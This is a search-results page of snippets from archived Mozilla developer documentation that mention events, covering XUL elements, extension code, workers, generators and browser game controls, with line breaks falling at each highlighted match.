events you listen for is entirely up to you. you can find out more about registering as an observer here: [link]. the score the '''score''' is stored in this.score, a variable defined by the base tracker class. set your score by assigning a value to this.score. the score number is used by the scheduler to decide when your engine will be synced. setting it to zero means "i have no need to sync". the h...
... has changed, you should add it to this list by calling: this.addchangedid(guid); these guids correspond to the .id fields of your record objects; see the section on the store class for more about defining and maintaining the mapping between guids and records. example here's the skeleton of a sample tracker class. function footracker(name) { tracker.call(this, name); // register yourself as
event listener or observer for whatever // you want to track. note that this may unnecessarily slow down // things for users who don't use sync. it's a bit smarter to have // yourself notified when to start and stop tracking therefore: svc.obs.add("weave:engine:start-tracking", this); svc.obs.add("weave:engine:stop-tracking", this); } footracker.prototype = { __proto__: tracker.prototype, _ena...
...And 2 more matches
droppedLinkHandler - Archive of obsolete content
« xul reference home droppedlinkhandler type: function this function is called when links are dropped to the browser element, with the following arguments. ...
... « xul reference home droppedlinkhandler type: function this function is called when links are dropped to the browser element, with the following arguments. ...
... « xul reference home droppedlinkhandler type: function this function is called when links are dropped to the browser element, with the following arguments. ...
...And 2 more matches
Extensions - Archive of obsolete content
mmand: <popup id="contentareacontextmenu"> <menuitem label="select links" oncommand="thumbnails.selectalllinks();" insertafter="context-selectall"/> </popup> see firefox context menu for a list of the ids of the items found on the firefox context menu. ...
...enuitem label="select links" oncommand="thumbnails.selectalllinks();" insertafter="context-selectall"/> </popup> see firefox context menu for a list of the ids of the items found on the firefox context menu. showing and hiding context menu items to have a menuitem you have added be shown or hidden based on the context, you can use an
event handler that listens for the popupshowing
event. ...
...e added be shown or hidden based on the context, you can use an
event handler that listens for the popupshowing
event. for instance, if an image was context clicked, you may wish to hide the menu item you have added if the operation it performed wouldn't apply to images. function init() { var contextmenu = document.getelementbyid("contentareacontextmenu"); if (contextmenu) contextmenu.add
eventlistener("popupshowing", thumbnailsshowhideitems, false); } function thumbnailsshowhideitems(
event) { var show = document.getelementbyid("thumbnail-show"); show.hidden = (document.popupnode.localname != "img"); } the init function should be called within the handler for the load
event so that the popupshowing
event handler is hooked up before it would be opened by the user. in this example,...
...And 2 more matches
PopupKeys - Archive of obsolete content
en a menu is selected, cursor right opens the menu, while a cursor left closes a menu. in a menubar, cursor left and right will cycle between top level menus. home/end move the highlight to the beginning or the end of the menu, selecting the first or last item. enter/return activate the currently highlighted item. if a menuitem is selected, this will close the menu and fire the menuitem's command
event. if a menu is selected, the menu will open. escape closes the menu. if a chain of submenus is open, only one level of menus is closed. tab/f10 closes all menus in a chain of submenus. when letter keys are pressed, the accesskeys within the menu are selected. if an access key is a pressed that does not correspond to an item within the menu, items that don't have access keys can be selected if the...
...nus is closed. tab/f10 closes all menus in a chain of submenus. when letter keys are pressed, the accesskeys within the menu are selected. if an access key is a pressed that does not correspond to an item within the menu, items that don't have access keys can be selected if the key pressed corresponds to the first letter of the label. other keys are ignored by the menu key listener, however, the
event does not propagate to the main window. this is because the key listener is a capturing listener attached to the document. for a panel, the only key that is handled by default is the escape key to close the panel. the other keys do not apply. focus in popups a menu does not take the keyboard focus. the menu key listener described above captures key
events on the document. thus, a key listener add...
...is because the key listener is a capturing listener attached to the document. for a panel, the only key that is handled by default is the escape key to close the panel. the other keys do not apply. focus in popups a menu does not take the keyboard focus. the menu key listener described above captures key
events on the document. thus, a key listener added to a <menupopup> will not receive any key
events. ...
...And 2 more matches
Commands - Archive of obsolete content
ered throughout the ui code. the other advantage is that several buttons or other ui elements can be hooked up to the same command. for instance, you might have a menu item, a toolbar button and a keyboard shortcut all for the same operation. rather than repeat the code three times, you can hook all three up to the same command. normally, you would only hook up elements that would send a command
event. additionally, if you set the disabled attribute on the command, the command will be disabled and it will not be invoked. any buttons and menu items hooked up to it will be disabled automatically. if you re-enable the command, the buttons will become enabled again. example: toggling command disabled example 2 : source view <command id="cmd_openhelp" oncommand="alert('help');"/> <button...
...d is not handled and command dispatcher will look for another controller. a single controller may support multiple commands. iscommandenabled (command) this method should return true if the command is enabled, or false if it is disabled. corresponding buttons will be disabled automatically. docommand (command) execute the command. this is where you would put the code to handle the command. on
event (
event) this method handles an
event. example: controller implementation let's assume that we want to implement a listbox that handles the delete command. when the user selects delete from the menu, the listbox deletes the selected row. in this case, you just need to attach a controller to a listbox which will perform the action in its docommand method. try opening the example below (source ...
...the supportscommand method returns true for the 'cmd_delete' command, ...
...And 2 more matches
XUL accessibility guidelines - Archive of obsolete content
ard shortcuts. a full list of keyboard shortcuts for the various mozilla applications. mozilla's accesskey faq. a short reference for using the accesskey attribute. context menus the context menu is the small menu activated with a right mouse click on a content area or element (or with shift + f10 or vk_apps on windows and ctrl + click or ctrl + space on a mac). ...
...attribute. context menus the context menu is the small menu activated with a right mouse click on a content area or element (or with shift + f10 or vk_apps on windows and ctrl + click or ctrl + space on a mac). use the oncontextmenu
event handler or the context attribute to create context menus. do not specifically code them to open on a click of the right mouse button. the oncontextmenu
event and context attribute work with the correct platform-specific context menu triggers, including the keyboard button and appropriate mouse clicks. mouse dependent scripting functionality associated with mouse
events such as onmouseover, onmousemove, and ondrag can only be activated with the use of the mouse. provide keyboard-accessible alternative access points for this functionality. consider us...
... xul element can be set to scroll by setting a style to "overflow: auto" or "overflow: scroll". this flexibility should be used carefully. maintaining focus the user should typically control where the current focus is located. avoid changing the focus automatically. however, disabling, hiding, or destroying the focus element (or any ancestor of the focus element) can cause a loss of focus. to pr
event this, move the focus to the next element before disabling, hiding, or destroying the focus element. the following example shows a javascript function that can be called before destroying an element to check for focus and move it if necessary. function movefocus(element) { if(element == document.commanddispatcher.focusedelement) { document.commanddispatcher.advancefocus(); ...
...And 2 more matches
broadcaster - Archive of obsolete content
nt multiple elements to share one or more attribute values, or when you want elements to respond to a state change. any elements that are observing the broadcaster will share the attributes placed on the broadcaster. for instance, if the broadcaster has a label attribute, the observers will use that label. if the label changes, the labels of the observers will update automatically. ...
...tically. an onbroadcast
event will be sent to the observers when a change is made. for menuitems or buttons that just want to have their disabled status set when the feature should be disabled, you should use a command element instead. more information is available in the broadcasters and observers xul tutorial. ...
...hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allow
events, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(...
...And 2 more matches
dialog - Archive of obsolete content
rient type: string the value of the orient attribute for the box containing the buttons. buttonpack type: string the value of the pack attribute for the box containing the buttons. buttons type: comma-separated list of the values below a comma-separated list of buttons to appear in the dialog box. the buttons will be placed in suitable locations for the user's platform and basic
event handling will be performed automatically. the following values can be used in the list: accept: the ok button, which will accept the changes when pressed. this button will also be the default button. cancel: the cancel button which will cancel the operation. help: a help button for displaying help about the dialog. disclosure: a button to show more information. this might be a button or...
.... moreover this hides separator between titlebar and window contents. this affects only on mac os x. title type: string the text to appear in the title bar of the window. properties buttons type: comma-separated list of the values below a comma-separated list of buttons to appear on the dialog box. the buttons will be placed in suitable locations for the user's platform and basic
event handling will be performed automatically. the following values can be used in the list: accept: the ok button, which will accept the changes when pressed. this button will also be the default button. cancel: the cancel button which will cancel the operation. help: a help button for displaying help about the dialog. disclosure: a button to show more information. this might be a button or...
...the buttonlabelextra2 attribute. defaultbutton type: string normally this attribute should not be set, but if it is, it specifies the default button in the dialog. typically, this means that the button will be activated when the enter key is pressed. this should be set to one of the same values as those for the buttons attribute. ...
...And 2 more matches
iframe - Archive of obsolete content
cuments are of chrome type, unless the container element (one of iframe, browser or editor) has one of the special type attribute values (the common ones are content, content-targetable and content-primary) indicating that the subdocument is of content type. this boundary has a number of special effects, such as making window.top == window (unless the browser is added to a chrome document), and pr
eventing documents from inheriting the principal of the parent document. the type attribute on all frames in content documents is ignored; subdocuments of content documents are always content documents. warning: the type attribute must be set before the element is inserted into the document. content a browser for content. the content that is loaded inside the browser is not allowed to acce...
... used for loading privileged content using a chrome:// uri. don't use for content from web, as this may cause serious security problems! transparenttype: one of the values belowset the background of an iframe as transparent.transparentthis results in the iframe's background being transparent. ...
...ntains the nsidocshell object for the document. webnavigation type: nsiwebnavigation this read-only property contains the nsiwebnavigation object for the document. most of its methods are callable directly on the element itself, such as goback and goforward. it also contains the load constants used by reloadwithflags and loaduriwithflags. ...
...And 2 more matches
image - Archive of obsolete content
idth. the new behavior aligns more with the html <img> element and shrinks both the width and height down proportionally. ...
...y. attributes onerror, onload, src, validate properties accessibletype, src style classes alert-icon, error-icon, message-icon, question-icon examples <image src='firefoxlogo.png' width='135' height='130'/> attributes onerror type: script code this
event is sent to an image element when an error occurs loading the image. image.onload type: script code this
event handler will be called on the image element when the image has finished loading. this applies whether the image is applied via the src attribute or the list-style-image style property. if you change the image, the
event will fire again when the new image loads. this
event will not bubble up the element tree. src type: uri the uri of the content to appear in the element. ...
...dling: always the image is always checked to see whether it should be reloaded. never the image will be loaded from the cache if possible. properties accessibletype type: integer a value indicating the type of accessibility object for the element. src type: url gets and sets the value of the src attribute. ...
...And 2 more matches
keyset - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] a container element for key elements. the keyset and its descendants are not displayed. more information is available in the xul tutorial. ...
...source, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width disabled type: boolean indicates whether the element is disabled or not. if this attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element is disabled, it does not respond to user actions, it cannot be focused, and the command
event will not fire. in the case of form elements, it will not be submitted. do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse
events. to enable th...
...an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse
events. to enable the element, leave this attribute out entirely. visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state. ...
...And 2 more matches
listhead - Archive of obsolete content
attributes disabled properties acesssibletype, disabled examples (example needed) attributes disabled type: boolean indicates whether the element is disabled or not. if this attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element is disabled, it does not respond to user actions, it cannot be focused, and the command
event will not fire. in the case of form elements, it will not be submitted. do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse
events. to enable th...
...g it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse
events. to enable the element, leave this attribute out entirely. visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state. ...
...direction, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties accessibletype type: integer a value indicating the type of accessibility object for the element. disabled type: boolean gets and sets the value of the disabled attribute. ...
...And 2 more matches
listheader - Archive of obsolete content
> <listcell label="roger"/> <listcell label="swashbuckler"/> </listitem> </listbox> attributes disabled type: boolean indicates whether the element is disabled or not. if this attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element is disabled, it does not respond to user actions, it cannot be focused, and the command
event will not fire. in the case of form elements, it will not be submitted. do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse
events. to enable th...
...d menuitems, is normally preferred to use of the attribute, as it may need to update additional state. label type: string the label that will appear on the element. if this is left out, no text appears. for an editable menuitem element the value of this attribute is copied to the menulist.value property upon user selection of the menuitem. ...
...l, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties accessibletype type: integer a value indicating the type of accessibility object for the element. ...
...And 2 more matches
observes - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] the observes element can be used to listen to a broadcaster and receive
events and attributes from it. the observes element should be placed inside the element that wants to observe the broadcaster. when an observed attribute is modified on the broadcaster, the attribute's value will be forwarded and set on the parent element of the observer. more information is available in the xul tutorial. attributes attribute, element examples (example needed) attributes attribute type: attribute name the attribute that the observer is observing. when the value of the attribute changes, the broadcast
event is called on the observer. use the value * to observe all attribute of the broadcaster...
...ribute name the attribute that the observer is observing. when the value of the attribute changes, the broadcast
event is called on the observer. use the value * to observe all attribute of the broadcasters. the id, ref, and persist attributes are not observed. element type: id the id of the broadcaster element that the observer is observing. ...
...hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allow
events, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(...
...And 2 more matches
radiogroup - Archive of obsolete content
d="violet" label="green" selected="true"/> <radio id="yellow" label="blue"/> </radiogroup> attributes disabled type: boolean indicates whether the element is disabled or not. if this attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element is disabled, it does not respond to user actions, it cannot be focused, and the command
event will not fire. in the case of form elements, it will not be submitted. do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse
events. to enable th...
...dex of the currently selected item. you may select an item by assigning its index to this property. by assigning -1 to this property, all items will be deselected. returns -1 if no items are selected selecteditem type: element holds the currently selected item. if no item is currently selected, this value will be null. you can select an item by setting this value. a select
event will be sent to the controlling container (i.e. the listbox, richlistbox, radiogroup, etc., not the list item that was selected) when it is changed either via this property, the selectedindex property, or changed by the user. tabindex type: integer gets and sets the value of the tabindex attribute. value type: string gets and sets the value of the value attr...
...y, or changed by the user. tabindex type: integer gets and sets the value of the tabindex attribute. value type: string gets and sets the value of the value attribute. for textbox and user editable menulist elements, the contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax. ...
...And 2 more matches
resizer - Archive of obsolete content
note: starting in gecko 2.0, you can also specify a target element using the element attribute, to use the resizer to resize the specified element instead of the window. ...
...ement that should be resized by the resizer. typetype: stringset this to the value "window" for a resizing grip that appears in the bottom corner of the window, used for resizing the window. as some platforms provide this resizing grip automatically, this type of resizer element will be hidden and ensure that the window does not get an extra resizer. ...
...hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allow
events, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(...
...And 2 more matches
scale - Archive of obsolete content
ight. set the orient attribute to vertical to use a vertical scale. the user may use the arrow keys to increment and decrement the value by one unit, or the page up and page down keys to increment and decrement the value by one page, as specified by the pageincrement attribute. the home and end keys set the scale's value to the minimum and maximum values, respectively. a scale will fire a change
event whenever the scale's value is modified. attributes dir, disabled, increment, max, min, movetoclick, pageincrement, tabindex, value properties disabled, max, min, increment, pageincrement, tabindex, value, methods decrease, decreasepage, increase, increasepage, examples horizontal scale: <scale min="1" max="10"/> vertical scale: <scale min="1" max="10" orient="vertical"/> ...
... right to left or bottom to top. this is reverse of the order in which they appear in the xul code. disabled type: boolean indicates whether the element is disabled or not. if this attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element is disabled, it does not respond to user actions, it cannot be focused, and the command
event will not fire. in the case of form elements, it will not be submitted. do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse
events. to enable th...
...e pageincrement attribute. tabindex type: integer gets and sets the value of the tabindex attribute. value type: string gets and sets the value of the value attribute. for textbox and user editable menulist elements, the contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax. ...
...And 2 more matches
tabpanels - Archive of obsolete content
hidden; hiding the tab suffices to make the panel inaccessible. more information is available in the xul tutorial. attributes selectedindex properties selectedindex, selectedpanel examples (example needed) attributes selectedindex type: integer gets and sets the index of the currently selected panel. the first item is at index 0. ...
...turns the index of the currently selected item. you may select an item by assigning its index to this property. by assigning -1 to this property, all items will be deselected. returns -1 if no items are selected selectedpanel type: element holds a reference to the currently selected panel within a <tabbox> element. assigning a value to this property will modify the selected panel. ...
...ex to this property. by assigning -1 to this property, all items will be deselected. returns -1 if no items are selected selectedpanel type: element holds a reference to the currently selected panel within a <tabbox> element. assigning a value to this property will modify the selected panel. a select
event will be sent when the selected panel is changed. ...
...And 2 more matches
titlebar - Archive of obsolete content
behave just like a normal window titlebar: when the element is clicked and dragged, the window moves with it. this element can't be used to change the platform-native titlebar of normal windows; instead, it's used to create custom titlebars for chromeless windows. if the titlebar is in a panel element, dragging it will move the panel. elements inside the titlebar usually don't receive any mouse
events, so e.g. buttons inside it can't be clicked and textboxes can't be focused with the mouse. if you don't want this behavior, you can override it by setting allow
events="true" on the titlebar element. the titlebar will send a command
event after the move is complete. examples this xul file will create a hud-style window that can be moved with the mouse. it will close if the mouse button is rele...
... style="background: rgba(30, 30, 30, 0.9); -moz-border-radius: 10px; -moz-box-shadow: 0 1px 8px rgba(0, 0, 0, 0.8); margin: 8px 12px 16px;"/> </window> it can be opened from the error console like this: open("file:///users/markus/sites/hudwindow.xul", "", "chrome=1, titlebar=0") attributes inherited from xul element align, allow
events, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirect...
...pty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width note: the allow
events attribute did not work for title bars prior to firefox 3. properties inherited properties align, , allow
events, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource...
...And 2 more matches
toolbar - Archive of obsolete content
when set to false, the default, the toolbar is visible. this only has an effect on windows and needs to be combined with type="menubar" and a menubar element. currentset not in seamonk...
...when set to false, the default, the toolbar is visible. this only has an effect on windows and needs to be combined with type="menubar" and a menubar element. currentset not in seamonkey 1.x type: comma-separated...
... is mainly for the use of the customize dialog. the id should match an element in the toolbar's toolbarpalette. some special ids may also be used to create special spacing items: separator: a separator, which is drawn as a vertical bar. spacer: a non-flexible space. spring: a flexible space. the method returns the dom element for the created item. ...
...And 2 more matches
toolbox - Archive of obsolete content
nal toolbar with a toolbox for the purpose of managing your toolbars by setting the toolboxid property on the toolbar. the external toolbars associated with a toolbox are listed in the array of elements provided by the toolbox's externaltoolbars property. more information is available in the xul tutorial. if you'd like to detect when toolbars in a toolbox are changed, see toolbar customization
events. properties accessible, customtoolbarcount, externaltoolbars, palette, toolbarset methods appendcustomtoolbar, collapsetoolbar, expandtoolbar examples <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="yourwindow" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" title="toolbox example" width="300"> <toolbox> ...
...oolbarbutton label="back"/> <toolbarbutton label="forward"/> <toolbarbutton label="home"/> </toolbar> <toolbar> <toolbarbutton label="stop"/> <toolbarbutton label="reload"/> </toolbar> </toolbox> <textbox multiline="true" value="we have two toolbars inside of one toolbox above." width="20"/> </window> attributes inherited from xul element align, allow
events, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirect...
...olbars type: array of elements an array of external toolbars; that is, toolbar elements that should be considered to be members of this toolbox, even if they are not actually children of the toolbox. palette firefox only type: element the toolbarpalette within the toolbox. toolbarset firefox only type: element the toolbarset within the toolbox. ...
...And 2 more matches
tree - Archive of obsolete content
/treerow> </treeitem> </treechildren> </treeitem> </treechildren> </tree> attributes disabled type: boolean indicates whether the element is disabled or not. if this attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element is disabled, it does not respond to user actions, it cannot be focused, and the command
event will not fire. in the case of form elements, it will not be submitted. do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse
events. to enable th...
...n a performance enhancement, but you will not be able to use the dom functions to retrieve the tree rows. hidecolumnpicker type: boolean when set to false, a drop-down will appear in the upper right corner of the tree, which the user may use to show and hide columns. when set to true, the column picker will be hidden. the default value is false. onselect type: script code this
event is sent to a tree when a row is selected, or whenever the selection changes. the user can select multiple rows by holding down shift or control and clicking on a row. the onselect
event will be sent for each item added to or removed from the selection. rows type: integer the number of rows to display in the element. if the element contains more than this number of rows,...
...yed. you can assign an object which implements nsitreeview to this property. trees built from rdf or those which use treeitems directly will already have a view. functions available in the view allow one to retrieve the data within the cells, and determine which rows are nested within others. for a complete list of view functions, see the nsitreeview interface. ...
...And 2 more matches
calICalendarView - Archive of obsolete content
because of this close association between methods and attributes on the one hand, and content on the other, calicalendarview implementations are particularly well suited to xbl. there is, however, no practical obstacle to the interface being implemented by any javascript object associated with a group of dom nodes, even non-anonymous xul nodes. ...
..._is(acount)] in calidatetime adates); void getdatelist(out unsigned long acount, [array,size_is(acount),retval] out calidatetime adates); attribute caliitembase selecteditem; attribute calidatetime selectedday; attributes displaycalendar the displaycalendar is an implementation of the calicalendar interface. as implemented here, it corresponds to the calendar containing all of the cali
events and calitodos that shoud be shown in the view. in the vast majority of cases, this is calicompositecalendar. notice that a calicalendarview does not contain any additem or refresh methods. therefore, it makes sense for an implementation of calicalendarview to add a caliobserver to the its displaycalendar in order to be notified of additions, modifications, and deletions of items it may be displa...
... this attribute will be set by the consumers of calicalendarview very early in an application/extension's loading process. controller the controller for a calicalendarview is an implementation of calicalendarviewcontroller and provides an integral link with the code in which a calicalendarview may be used. this link allows the calicalendarview to have a way of creating, modifying, and deleting
events based on user interaction with the dom nodes it controls, often without requiring any other user interaction. in general, therefore, a calicalendarview will not provide its own controller, but rather rely on other code to set this attribute. implementations should therefore be wary to check whether a controller has been assigned to the view, before calling any of the methods it implements.note t...
...And 2 more matches
Using workers in extensions - Archive of obsolete content
only how to use workers in an extension, but also how to perform xmlhttprequest in a worker, and how workers and main thread code can pass data back and forth. the worker the worker thread's job in this example is to issue the xmlhttprequest calls that fetch the updated stock information. that's all it does. every 10 minutes, it calls xmlhttprequest, and, when the results are received, sends an
event back to the main thread with the received data. so we need to move the refreshinformation() method from the stockwatcher2.js file into a separate file that will host the worker thread. that file, ticker_worker.js, is shown here: var symbol = ""; function refreshinformation() { if (!symbol) { throw "no symbol set!"; } var fullurl = "http://quote.yahoo.com/d/quotes.csv?f=sl1d1t1c1...
...; function inforeceived() { var output = httprequest.responsetext; if (output) { postmessage(output.trim()); } httprequest = null; } var httprequest = new xmlhttprequest(); httprequest.open("get", fullurl, true); httprequest.onload = inforeceived; httprequest.send(null); } setinterval(function() { refreshinformation(); }, 10*60*1000); onmessage = function(
event) { if (
event.data) { symbol =
event.data.touppercase(); } refreshinformation(); } when the worker thread is started, the main body of this code (in lines 26-35) is executed. it starts by setting up an interval handler (in lines 26-28) that calls refreshinformation() every 10 minutes. then it sets the worker's onmessage
event handler to a function which looks at the
event passed into i...
... refreshinformation(); } when the worker thread is started, the main body of this code (in lines 26-35) is executed. it starts by setting up an interval handler (in lines 26-28) that calls refreshinformation() every 10 minutes. then it sets the worker's onmessage
event handler to a function which looks at the
event passed into it, and does one of two things: if there is a data field on the
event, the stock symbol being tracked is set to the upper case version of that value. this is used to initialize the worker, and to change which stock is being monitored. if there is no data field, the refreshinformation() method is called to fetch the latest information about the stock and pass it back to the main thread. this provides a way for the main thread to specifically request that the worker...
...And 2 more matches
Using JavaScript Generators in Firefox - Archive of obsolete content
only in firefox, not ie, chrome, safari, etc. generators can be used to simplify asynchronous code in firefox by opting in to using javascript version 1.7 or later. you can opt in in html as follows: <script type="text/javascript;version=1.7" src="myscript.js"></script> then your myscript.js file might look like this: // need to stash the generator in a global variable. var generator; // simple
event listener function to pass the received
event to the generator. function grab
event(
event) { generator.send(
event); } // when we're all done we can close the generator, but that must happen outside // of the generator so we use a timeout. function closegenerator() { settimeout(function() { generator.close(); }, 0); } // our main steps function databaseoperation() { mozindexeddb.open("...
...ceived
event to the generator. function grab
event(
event) { generator.send(
event); } // when we're all done we can close the generator, but that must happen outside // of the generator so we use a timeout. ...
...to the generator. function grab
event(
event) { generator.send(
event); } // when we're all done we can close the generator, but that must happen outside // of the generator so we use a timeout. ...
...And 2 more matches
Audio for Web games - Game development
re is further information about it here from the google developers site. it is worth noting that autoplay with sound is allowed if: the user has interacted with the domain. on mobile the user has added the site to their home screen. many browsers will simply ignore any requests made by your game to automatically play audio; instead playback for audio needs to be started by a user-initiated
event, such as a click or tap. this means you will have to structure your audio playback to take account of that. this is usually mitigated against by loading the audio in advance and priming it on a user-initiated
event. for more passive audio auto play, for example background music that starts as soon as a game loads, one trick is to detect any user initiated
event and start playback then. for other...
...o. to do this we can just play and instantly pause the larger piece of audio. you'll also reduce the number of server requests and save bandwidth. var myaudio = document.createelement("audio"); myaudio.src = "mysprite.mp3"; myaudio.play(); myaudio.pause(); you'll need to sample the current time to know when to stop. if you space your individual sounds by at least 500ms then using the timeupdate
event (which fires every 250ms) should be sufficient. your files may be slightly longer than they strictly need to be, but silence compresses well. here's an example of an audio sprite player — first let's set up the user interface in html: <audio id="myaudio" src="https://udn.realityripple.com/samples/f0/2909c16512.mp3"></audio> <button data-start="18" data-stop="19">0</button> <button data-start=...
...s. the "countdown.mp3" mp3 file consists of a number being spoken every 2 seconds, the idea being that we play back that number when the corresponding button is pressed. let's add some javascript to make this work: var myaudio = document.getelementbyid('myaudio'); var buttons = document.getelementsbytagname('button'); var stoptime = 0; for (var i = 0; i < buttons.length; i++) { buttons[i].add
eventlistener('click', function() { myaudio.currenttime = this.getattribute("data-start"); stoptime = this.getattribute("data-stop"); myaudio.play(); }, false); } myaudio.add
eventlistener('timeupdate', function() { if (this.currenttime > stoptime) { this.pause(); } }, false); note: you can try out our audio sprite player live on jsfiddle. note: on mobile we may need to trigg...
...And 2 more matches
Implementing controls using the Gamepad API - Game development
cross-browser control system for web games using the gamepad api, allowing you to control your web games using console game controllers. it features a case study game — hungry fridge, created by enclave games. controls for web games historically playing games on a console connected to your tv was always a totally different experience to gaming on the pc, mostly because of the unique controls.
eventually, extra drivers and plugins allowed us to use console gamepads with desktop games — either native games or those running in the browser. now in the era of html5, we finally have the gamepad api, which gives us the ability to play browser-based games using gamepad controllers without any plugins. the gamepad api achieves this by providing an interface exposing button presses and axis changes...
...option to launch super turbo hungry fridge on the desktop without having a gamepad connected — click the gamepad icon in the top right corner of the screen. it will launch the game in the super turbo mode and you'll be able to control the fridge with the keyboard: a and d for turning the turret left and right, w for shooting and arrow keys for movement. implementation there are two important
events to use along with the gamepad api — gamepadconnected and gamepaddisconnected. the first one is fired when the browser detects the connection of a new gamepad while the second one is fired when a gamepad is disconnected (either physically by the user or due to inactivity.) in the demo, the gamepadapi object is used to store everything related to the api: var gamepadapi = { controller: {}, ...
...ton layout: buttons: [ 'dpad-up','dpad-down','dpad-left','dpad-right', 'start','back','axis-left','axis-right', 'lb','rb','power','a','b','x','y', ], this can be different for other types of gamepads like the ps3 controller (or a no-name, generic one), so you have to be careful and not just assume the button you're expecting will be the same button you'll actually get. next, we set up two
event listeners to get the data: window.add
eventlistener("gamepadconnected", gamepadapi.connect); window.add
eventlistener("gamepaddisconnected", gamepadapi.disconnect); due to security policy, you have to interact with the controller first while the page is visible for the
event to fire. if the api worked without any interaction from the user it could be used to fingerprint them without their knowled...
...And 2 more matches
2D maze game with device orientation - Game development
nitlevels initializes the level data. showlevel prints the level data on the screen. updatecounter updates the time spent playing each level and records the total time spent playing the game.. managepause pauses and resumes the game. manageaudio turns the audio on and off. wallcollision is executed when the ball hits the walls or other objects. handleorientation is the function bound to the
event responsible for the device orientation api, providing the motion controls when the game is running on a mobile device with appropriate hardware. finishlevel loads a new level when the current level is completed, or finished the game if the final level is completed. adding the ball and its motion mechanics first, let’s go to the create() function, initialize the ball object itself and assign...
